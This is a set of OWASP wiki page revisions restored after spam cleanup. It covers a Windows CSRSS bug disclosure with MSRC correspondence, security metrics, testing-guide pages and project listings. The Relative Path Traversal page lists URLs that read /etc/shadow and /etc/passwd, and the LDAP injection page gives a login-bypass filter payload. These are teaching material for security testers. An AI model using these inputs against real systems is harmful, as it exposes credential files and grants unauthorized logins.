On 2002-08-01, nine and a half months since this bug became public knowledge and this web page was published, Microsoft released the third service pack for Windows NT 2000. With this service pack applied, it appears to be impossible to reproduce this bug. However, neither the change that causes this nor even the bug itself are listed anywhere in either the Windows NT 2000 service pack documentation or in Microsoft's KnowledgeBase. The problem does not officially exist, and is certainly not officially solved. The worry here is that the fact that it is no longer reproducable is coincidental, and (since Microsoft has not recognised it to actually be a problem, and therefore will not include it in any regression testing) liable to be reintroduced by subsequent service packs.<br />
<br />
On 2002-09-09, ten and a half months since this bug became public knowledge and this web page was published, Microsoft released the first service pack for Windows NT XP. As with the Windows NT 2000 service pack, there is no official acknowledgement in the service pack documentation either that the bug exists or that it has intentionally been fixed by the service pack. I was unable myself to confirm that the bug is indeed fixed by the service pack, and no-one else had yet reported to me that it is.<br />
<br />
On 2002-09-12, the same third party that reported the fixpack information to me reported Microsoft as saying to him that it has "a KB article that should be live soon" and that this will, when it appears, be Microsoft KnowledgeBase article ID Q311486. I confirmed that no article by that ID was currently available.<br />
<br />
On 2002-09-24, Microsoft KnowledgeBase article ID Q311486, promised six months ago, finally appeared. Its publication date is falsified to claim that it appeared on 2001-10-26. It talks about programs that "pass invalid screen size parameters" when the sample program code that it gives for replicating the bug clearly contains nothing at all relating to screen size parameters. And the explanation that it gives for the actual cause of the problem is woefully incorrect. Were it not that it has taken over eleven months for Microsoft to produce it, one might think that this article was a very badly done rush job...."<br />
<br />
Published 09 December 2005 10:06 by Dinis Cruz<br />
<br />
<br />
== Email to MSRC ==<br />
<br />
From: "Dinis Cruz" <dinis@ddplus.net><br />
Sent: Tuesday, December 13, 2005 11:32 PM<br />
To: secure@microsoft.com<br />
Subject: The CSRSS Backspace Bug still works in windows 2003 sp1<br />
<br />
Dear MSRC<br />
<br />
Please see this post The CSRSS Backspace Bug still works in windows 2003 sp1 for an issue that you should follow up and do more research.<br />
<br />
Given the nature of this issue I think that there is a strong possibility that this can be further exploited (note that csrss runs under SYSTEM)<br />
<br />
Best regards<br />
<br />
Dinis Cruz <br />
<br />
== Response from MSRC ==<br />
<br />
From: "Microsoft Security Response Center" <secure@microsoft.com><br />
Sent: Wednesday, December 14, 2005 2:44 PM<br />
To: dinis@ddplus.co.uk<br />
Subject: RE: The CSRSS Backspace Bug still works in windows 2003 sp1<br />
<br />
Hello Dinis,<br />
<br />
Thanks for your note. I have reopened the case to investigate this and<br />
the case manager, Adrian, will be in touch when he has more information.<br />
<br />
Thanks,<br />
Christopher, CISSP, Security+ <br />
<br />
<br />
== Follow-up from MSRC ==<br />
<br />
None until today (23 jul 2006)<br />
<br />
<br />
[[Category:OWASP .NET Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Types_of_application_security_metrics&diff=63530
Types of application security metrics
2009-06-03T12:50:45Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>==Metrics Overview==<br />
<br />
[[Image:softwarefacts.jpg|right|300px]]<br />
[[Image:Ingredients.png|right|300px]]<br />
<br />
It's been said that you can't improve what you can't measure. We currently don't have any good metrics for application security. Everyone understands what we want to measure -- how secure is it? But we're really not sure what low-level measurements we should be making, nor do we know how to roll them up into something meaningful for the buyer or user of software.<br />
<br />
The difficulty of this problem is essentially the same as determining if there are any loopholes in a legal contract. Like legalese, programming languages are arbitrarily complex. A malicious developer, like a crafty lawyer, will use all their skill to obfuscate their attack.<br />
<br />
==Direct Metrics==<br />
<br />
Ideally, we could just measure the software itself. If we could count all the vulnerabilities and determine their likelihood and impact, we'd know how secure it is. Unfortunately, even the best static analysis tools can't come close to doing this. Still, there are things we can measure, and perhaps we can figure out which of these things directly correlate with increased security.<br />
<br />
* How many lines of code?<br />
* What languages are used?<br />
* What libraries does this application use (and how)?<br />
* What type of network access is required (client, server, none)?<br />
* What security mechanisms are used?<br />
* What configuration files are associated with the application?<br />
* How are sensitive assets protected?<br />
* What vulnerabilities have been identified<br />
<br />
==Indirect Metrics==<br />
<br />
If you can't measure the security of software directly, another option is to measure the people, process, and technology that are associated with creating the software in the first place?<br />
<br />
* Is there security documentation (design, test results, vulnerabilities)?<br />
* Is the documentation accurate and complete?<br />
* Is there a process for reporting security flaws?<br />
* Who developed this code (training, experience, background check)?<br />
* What assurance activities were performed (threat modeling, analysis, code review, test, evaluation)?<br />
* What was the outcome of those assurance activities?<br />
<br />
[[Category:OWASP Application Security Metrics Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=EJB_Bad_Practices:_Use_of_Sockets&diff=63531
EJB Bad Practices: Use of Sockets
2009-06-03T12:50:45Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{template:CandidateForDeletion}}<br />
<br />
#REDIRECT [[Failure to follow guideline/specification]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
The program violates the Enterprise JavaBeans specification by listening on a socket or accept connections on a socket.<br />
However it can act as a network socket client.<br />
<br />
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container [1].<br />
<br />
In this case, the program violates the following EJB guideline:<br />
<br />
"An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast."<br />
<br />
A requirement that the specification justifies in the following way:<br />
<br />
"The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be <br />
a network server. Allowing the instance to become a network server would conflict with the basic function of the <br />
enterprise bean – to serve the EJB clients."<br />
<br />
==Risk Factors==<br />
<br />
TBD<br />
<br />
==Examples==<br />
<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[Control 1]]<br />
* [[Control 2]]<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
<br />
* [1] Enterprise JavaBeans 2.1 Specification. Sun Microsystems. http://java.sun.com/products/ejb/docs.html.</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=OWASP_Autumn_of_Code_2006_-_Project_Completion&diff=63532
OWASP Autumn of Code 2006 - Project Completion
2009-06-03T12:50:45Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>This page documents the completion of the [[OWASP Autumn Of Code 2006 ]] projects (see the 9 sponsored projects in [[OWASP Autumn of Code 2006 - Selection]])<br />
<br />
== Project Completion Report ==<br />
{| class="wikitable" style="text-align:center"<br />
|+ OWASP Autumn of Code 2006 Results<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | '''Proposal ID'''<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | '''Project'''<br />
! align="LEFT" | '''Review by Project Leader'''<br />
! align="CENTER" | '''Delivered on project requirements'''<br />
! align="CENTER" | '''Authorized for Final Payment'''<br />
|-<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 13 Rogan<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_WebScarab_NG|WebScarab NG]])<br />
| align="CENTER" | A working beta version is now available for WebScarad which implements a complete new user interface and is much more usable and practical (although still doesn't have all features from the current version)<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 04 Joshua<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_Live_CD|Live CD]])<br />
| align="CENTER" | The Live CD is a valuable addition to the OWASP collection, since it allows the easy access, use and testing of several OWASP tools and documents<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 17 Chris<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_CAL9000|CAL9000]])<br />
| align="CENTER" | A new version of CAP 9000 is now released containing several new features and with extended support for more browsers<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-http://www.owasp.org/index.php?title=OWASP_Autumn_of_Code_2006_-_Project_Completion&action=edit&section=1<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 09 Mike<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_SiteGenerator_and_ORG|SiteGenerator and ORG]])<br />
| align="CENTER" | Both [[OWASP Report Generator]](ORG) and [[OWASP Site Generator]] (OSG) receive large number of enhancements. In ORG tons of small/medium bugs were fixed and several new major features where added (in addition to an update to .NET 2.0). In OSG, HttpModule was re-implemented to use TCP, several nasty bugs were fixed and new OSG vulnerabilities where added.<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 21 Simon<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_Pantera|Pantera]]) <br />
| align="CENTER" | Simon delivered a new version of Pantera which contains several new features and is more optimized<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 24 Sherif<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_Web_Goat|Web Goat]])<br />
| align="CENTER" | 12 new lessons where added to WebGoat (for example: DOM/XML Injection, JSON Injection, Cross-Site Request Forgery , HTTP Splitting, etc..)<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 26 Matteo<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide|Testing Guide]])<br />
| align="CENTER" | The previous Guide was greatly enhanced where large portions were re-writen and new material added. This Guide is an important addition to the OWASP catalogue.<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 18 Boris<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_Owasp_.Net_Tools|Owasp .Net Tools]])<br />
| align="CENTER" | The OWASP .Net tools SAM'SHE and ANSA are in integrated into a new client server architecture which contains a 'built from scratch' client application which 'consumes' the results from the .Net tests. This new tools (called OWASP Tiger) could be the beginning of a standard vulnerability collector.<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-<br />
! height="18" bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | AoC 07 Aaron<br />
! bgcolor="#FFFFFF" align="LEFT" valign="MIDDLE" | ([[OWASP_Autumn_of_Code_2006_-_Projects:_Website_and_Branding|Owasp Website]])<br />
| align="CENTER" | Multiple sections of OWASP.org website where re-organized (for example the Projects Page), the OWASP newsletter was created and several pages received improvements in their layout<br />
! align="CENTER" | Yes<br />
! align="CENTER" | Yes<br />
|-}</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=File:OWASPAppSec2006Seattle_FromStartuptoIPO-Managing_Security_Risk.ppt&diff=63524
File:OWASPAppSec2006Seattle FromStartuptoIPO-Managing Security Risk.ppt
2009-06-03T12:50:44Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>[[Category:OWASP Presentations]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=SanDiego&diff=63526
SanDiego
2009-06-03T12:50:44Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Chapter Template|chaptername=San Diego|extra=The chapter leader is [mailto:jeromie@comsecinc.com Jeromie Jackson]<br />
<paypal>SanDiego</paypal><br />
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sandiego|emailarchives=http://lists.owasp.org/pipermail/owasp-sandiego}}<br />
<br />
== Local News ==<br />
<br />
San Diego, CA – The Open Web Application Security Project (OWASP) of San Diego is holding a chapter meeting February 19th, 2009 from 6:30-8:00 on the topic of how to proactive mitigate web application vulnerabilities- PLEASE RSVP.<br />
<br />
Commercial applications often need to be assessed to ensure their security claims are being upheld. Custom applications are often updated and need an independent review to ensure vulnerabilities are not being exposed. We'll discuss how to improve the software development cycle along with techniques on proactively mitigating vulnerabilities should they be introduced on a public webserver. The presentation will be presented by Imperva & generously hosted at Websense in San Diego.<br />
<br />
Date: February 19th<br />
Time: 6:30-8:00<br />
Location: 10240 Sorrento Valley Rd<br />
San Diego, California 92121<br />
Contact: Jeromie Jackson- CISSP, CISM<br />
Jeromie.Jackson@TIG.Com<br />
858-350-3645<br />
'''PLEASE RSVP''' <br />
<br />
Press Release can be found at: [http://www.prlog.org/10179776-free-presentation-on-how-to-proactively-manage-web-site-vulnerabilities.html<br />
]<br />
<br />
[[Category:California]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Relative_Path_Traversal&diff=63527
Relative Path Traversal
2009-06-03T12:50:44Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Overview==<br />
This attack is a variant of Path Traversal and can be exploited when the application accepts the use of relative traversal sequences such as "../".<br />
<br />
==Related Security Activities==<br />
<br />
===How to Avoid Path Traversal Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[File_System#Path_traversal|Avoid Path Traversal ]] Vulnerabilities.<br />
<br />
<br />
===How to Test for Path Traversal Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for Path Traversal (OWASP-AZ-001) |Test for Path Traversal ]] Vulnerabilities.<br />
<br />
<br />
More detailed information can be found on [[Path_Traversal]]<br />
<br />
== Description==<br />
TBD<br />
<br />
==Examples ==<br />
<br />
The following URLs are vulnerable to this attack:<br />
<br />
<nowiki> http://some_site.com.br/get-files.jsp?file=report.pdf </nowiki><br />
<nowiki> http://some_site.com.br/get-page.php?home=aaa.html </nowiki><br />
<nowiki> http://some_site.com.br/some-page.asp?page=index.html </nowiki><br />
<br />
A simple way to execute this attack is like this:<br />
<br />
<nowiki> http://some_site.com.br/get-files?file=../../../../some dir/some file </nowiki><br />
<nowiki> http://some_site.com.br/../../../../etc/shadow </nowiki><br />
<nowiki> http://some_site.com.br/get-files?file=../../../../etc/passwd </nowiki><br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
<br />
==Related [[Threat Agents]]==<br />
* [[: Category: Information Disclosure]]<br />
[[Category:FIXME|this link doesn't exist, add the category or change this link?]]<br />
<br />
==Related [[Attacks]]==<br />
* [[Path Manipulation]]<br />
* [[ Path Traversal]]<br />
* [[ Resource Injection]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category:Input Validation Vulnerability]]<br />
<br />
==Related [[Controls]]==<br />
* [[:Category:Input Validation]]<br />
<br />
==References==<br />
TBD<br />
<br />
[[Category: Resource Manipulation]]<br />
<br />
[[Category: Attack]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:HTTP&diff=63522
Category:HTTP
2009-06-03T12:50:42Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>This category is used to mark articles that involve HTTP protocol.<br />
<br />
[[Category:Technology]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Appendix_B:_Suggested_Reading&diff=63523
OWASP Testing Guide Appendix B: Suggested Reading
2009-06-03T12:50:42Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Template:OWASP Testing Guide v3}}<br />
<br />
==Whitepapers==<br />
<br />
* ''[[:Category:OWASP_Guide_Project|The OWASP Guide to Building Secure Web Applications]]'' <br />
<br />
* ''The Economic Impacts of Inadequate Infrastructure for Software Testing'' - http://www.nist.gov/director/prog-ofc/report02-3.pdf<br />
<br />
* ''Threats and Countermeasures: Improving Web Application Security'' - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/threatcounter.asp<br />
<br />
* ''Use Cases: Just the FAQs and Answers'' - http://www-106.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf<br />
<br />
<br />
[[Category:FIXME|broken link<br />
<br />
* ''Security in the SDLC (NIST)'' - http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf<br />
* ''Web Application Security is Not an Oxy-Moron, by Mark Curphey'' - http://www.sbq.com/sbq/app_security/index.html<br />
* ''The Security of Applications: Not All Are Created Equal'' - http://www.atstake.com/research/reports/acrobat/atstake_app_unequal.pdf<br />
* ''The Security of Applications Reloaded'' - http://www.atstake.com/research/reports/acrobat/atstake_app_reloaded.pdf<br />
<br />
<br />
<br />
<br />
<br />
]]<br />
<br />
==Books==<br />
<br />
* James S. Tiller: "The Ethical Hack: A Framework for Business Value Penetration Testing", Auerbach, ISBN: 084931609X<br />
<br />
* Susan Young, Dave Aitel: "The Hacker's Handbook: The Strategy behind Breaking into and Defending Networks", Auerbach, ISBN: 0849308887<br />
<br />
* ''Secure Coding,'' by Mark Graff and Ken Van Wyk, published by O’Reilly, ISBN 0596002424''(2003)'' - http://www.securecoding.org<br />
<br />
* ''Building Secure Software: How to Avoid Security Problems the Right Way'', by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002) - http://www.buildingsecuresoftware.com<br />
<br />
* ''Writing Secure Code,'' by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2003) http://www.microsoft.com/mspress/books/5957.asp<br />
<br />
* ''Innocent Code: A Security Wake-Up Call for Web Programmers,'' by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004) - http://innocentcode.thathost.com<br />
<br />
* ''Exploiting Software: How to Break Code, ''by Gary McGraw and Greg Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004) -http://www.exploitingsoftware.com<br />
<br />
* ''Secure Programming for Linux and Unix HOWTO, David Wheeler (2004)'' - http://www.dwheeler.com/secure-programs<br />
<br />
* ''Mastering the Requirements Process, ''by Suzanne Robertson and James Robertsonn, published by Addison-Wesley Professional, ISBN 0201360462 - http://www.systemsguild.com/GuildSite/Robs/RMPBookPage.html<br />
<br />
* ''The Unified Modeling Language – A User Guide'' - http://www.awprofessional.com/catalog/product.asp?product_id=%7B9A2EC551-6B8D-4EBC-A67E-84B883C6119F%7D<br />
<br />
* ''Web Applications (Hacking Exposed) ''by Joel Scambray and Mike Shema, published by McGraw-Hill Osborne Media, ISBN 007222438X<br />
<br />
* ''Software Testing In The Real World (Acm Press Books)'' by Edward Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)<br />
<br />
* ''Securing Java,'' by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999) - http://www.securingjava.com<br />
<br />
* Beizer, Boris, ''Software Testing Techniques'', 2nd Edition, © 1990 International Thomson Computer Press, ISBN 0442206720<br />
<br />
[[Category:FIXME|broken links, I left them above <br />
<br />
* ''Building Secure Software: How to Avoid Security Problems the Right Way'', by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002) - http://www.buildingsecuresoftware.com<br />
<br />
<br />
* ''Writing Secure Code,'' by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2003) http://www.microsoft.com/mspress/books/5957.asp<br />
<br />
* ''The Unified Modeling Language – A User Guide'' - http://www.awprofessional.com/catalog/product.asp?product_id=%7B9A2EC551-6B8D-4EBC-A67E-84B883C6119F%7D<br />
<br />
<br />
]]<br />
<br />
==Useful Websites==<br />
<br />
* OWASP — http://www.owasp.org<br />
<br />
* SANS - http://www.sans.org<br />
<br />
* Secure Coding — http://www.securecoding.org<br />
<br />
* Secure Coding Guidelines for the .NET Framework''''' ''''' - http://msdn.microsoft.com/security/securecode/bestpractices/default.aspx?pull=/library/en-us/dnnetsec/html/seccodeguide.asp<br />
<br />
* Security in the Java platform — http://java.sun.com/security<br />
<br />
* OASIS WAS XML — http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&diff=63520
Testing for LDAP Injection (OTG-INPVAL-006)
2009-06-03T12:50:40Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Template:OWASP Testing Guide v3}}<br />
<br />
== Brief Summary ==<br />
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.<br />
[[LDAP injection]] is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted.<br><br />
This is done by manipulating input parameters afterwards passed to internal search, add, and modify functions.<br />
<br />
== Description of the Issue == <br />
<br />
A web application could use LDAP in order to let users authenticate or search other users' information<br />
inside a corporate structure.<br />
<br />
The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.<br />
<br />
[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]<br />
defines a grammar on how to build a search filter on LDAPv3 and<br />
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).<br />
<br />
An LDAP search filter is constructed in Polish notation, <br />
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].<br />
<br />
This means that a pseudo code condition on a search filter like this:<br />
<br />
find("cn=John & userPassword=mypass")<br />
<br />
will be represented as:<br />
<br />
find("(&(cn=John)(userPassword=mypass))")<br />
<br />
Boolean conditions and group aggregations on an <br />
LDAP search filter could be applied by using <br />
the following metacharacters:<br />
{| border=1<br />
|| '''Metachar''' || '''Meaning'''<br />
|-<br />
|| & || Boolean AND <br />
|-<br />
|| | || Boolean OR<br />
|-<br />
|| ! || Boolean NOT<br />
|-<br />
|| = || Equals <br />
|-<br />
|| ~= || Approx<br />
|-<br />
|| >= || Greater than<br />
|-<br />
|| <= || Less than<br />
|-<br />
|| * || Any character<br />
|-<br />
|| () || Grouping parenthesis<br />
|-<br />
|}<br />
More complete examples on how to build a search filter can be<br />
found in the related RFC.<br />
<br />
A successful exploitation of an LDAP injection vulnerability could allow the tester to:<br />
<br />
* Access unauthorized content<br />
* Evade application restrictions<br />
* Gather unauthorized informations<br />
* Add or modify Objects inside LDAP tree structure.<br />
<br />
== Black Box testing and example ==<br />
<br />
<br />
=== Example 1. Search Filters ===<br />
<br />
Let's suppose we have a web application using a search<br />
filter like the following one:<br />
<br />
searchfilter="(cn="+user+")"<br />
<br />
which is instantiated by an HTTP request like this:<br />
<br />
<nowiki>http://www.example.com/ldapsearch?user=John</nowiki><br />
<br />
If the value 'John' is replaced with a '*',<br />
by sending the request:<br />
<br />
<nowiki>http://www.example.com/ldapsearch?user=*</nowiki><br />
<br />
the filter will look like:<br />
<br />
searchfilter="(cn=*)"<br />
<br />
which matches every object with a 'cn' attribute equals to anything.<br />
<br />
If the application is vulnerable to LDAP injection, it will display some or all of the users' attributes, depending on the application's execution flow and the permissions of the LDAP connected user.<br />
<br />
A tester could use a trial-and-error approach, by inserting in the parameter<br />
'(', '|', '&', '*' and the other characters, in order to check <br />
the application for errors.<br />
<br />
=== Example 2. Login ===<br />
<br />
If a web application uses LDAP to check user credentials during the login process and it is vulnerable to LDAP injection, it is possible to bypass the authentication check by injecting an always true LDAP query (in a similar way to SQL<br />
and XPATH injection ).<br />
<br />
Let's suppose a web application uses a filter to match LDAP user/password pair.<br />
<br />
searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";<br />
<br />
By using the following values:<br />
<br />
<nowiki>user=*)(uid=*))(|(uid=*<br />
pass=password</nowiki><br />
<br />
the search filter will results in:<br />
<br />
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";<br />
<br />
which is correct and always true. <br />
This way, the tester will gain logged-in status as the first user in LDAP tree.<br />
<br />
== References ==<br />
'''Whitepapers'''<br><br />
Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf<br><br />
Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm<br><br />
IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html <br><br />
<br><br />
'''Tools'''<br><br />
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php <br><br />
<br />
[[Category:FIXME|link not working<br />
<br />
<br />
<nowiki>RFC 1960</nowiki>: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt<br><br />
<br />
<br />
]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Missing_XML_Validation&diff=63519
Missing XML Validation
2009-06-03T12:50:39Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Template:Vulnerability}}<br />
{{Template:Fortify}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]<br />
<br />
==Description==<br />
<br />
Failure to enable validation when parsing XML gives an attacker the opportunity to supply malicious input.<br />
<br />
Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input. It is not possible for an XML parser to validate all aspects of a document's content; a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.<br />
<br />
<br />
==Risk Factors==<br />
<br />
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen<br />
* Discuss the technical impact of a successful exploit of this vulnerability<br />
* Consider the likely [business impacts] of a successful attack<br />
<br />
<br />
==Examples==<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[:Category:Input Validation]]<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:<br />
<br />
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].<br />
* http://www.link1.com<br />
* [http://www.link2.com Title for the link2]<br />
<br />
<br />
__NOTOC__<br />
<br />
<br />
[[Category:OWASP ASDR Project]]<br />
[[Category:Input Validation Vulnerability]]<br />
[[Category:XML]]<br />
[[Category:Vulnerability]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:OWASP_Application_Security_Metrics_Project&diff=63518
Category:OWASP Application Security Metrics Project
2009-06-03T12:50:38Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>== Welcome to the Application Security Metrics Security Project ==<br />
<br />
This OWASP Project will first identify and provide the OWASP community a set of application security metrics that have been found by contributors to be effective in measuring application security. This will be followed by the development of new metrics that build on the initial metrics foundation to fulfill unmet metrics requirements.<br />
The goals of this Project are to make a baseline set of application security metrics available to the OWASP community and subsequently to provide a forum for the community to contribute metrics back into the baseline. <br />
<br />
== Project Guiding Principles: ==<br />
<br />
The Application Security Metrics Security Project Project’s Guiding Principles were created in order to express the intentions of its contributors when designing application security metrics.<br />
<br />
* Effective security metrics have proven to be challenging to develop. As such, provide a means for the OWASP community to initially leverage what others have developed and find useful (i.e., provide the OWASP community useful metrics in use today).<br />
<br />
* Where practical, attempt to “standardize” nomenclature with other security metrics initiatives such as securitymetrics.org, Systems Security Engineering Capability Maturity Model (SSE-CMM), etc.<br />
<br />
* In selecting best practice metrics, make use of high-level filters. For example, use Dr. Dan Geer’s decision support mantra regarding security metrics: “How would that proposed measure advance appropriate decision making?"<br />
<br />
* Link each metric to the business driver for the metric (e.g., Metric “X” helps support regulatory compliance and risk management objectives.”<br />
<br />
Comments to the editor or endorsements are welcome.<br />
<br />
== Project Scope: ==<br />
<br />
In keeping with OWASP’s mission, this project will focus primarily on application security metrics. Below are some resources with information on application security metrics.<br />
<br />
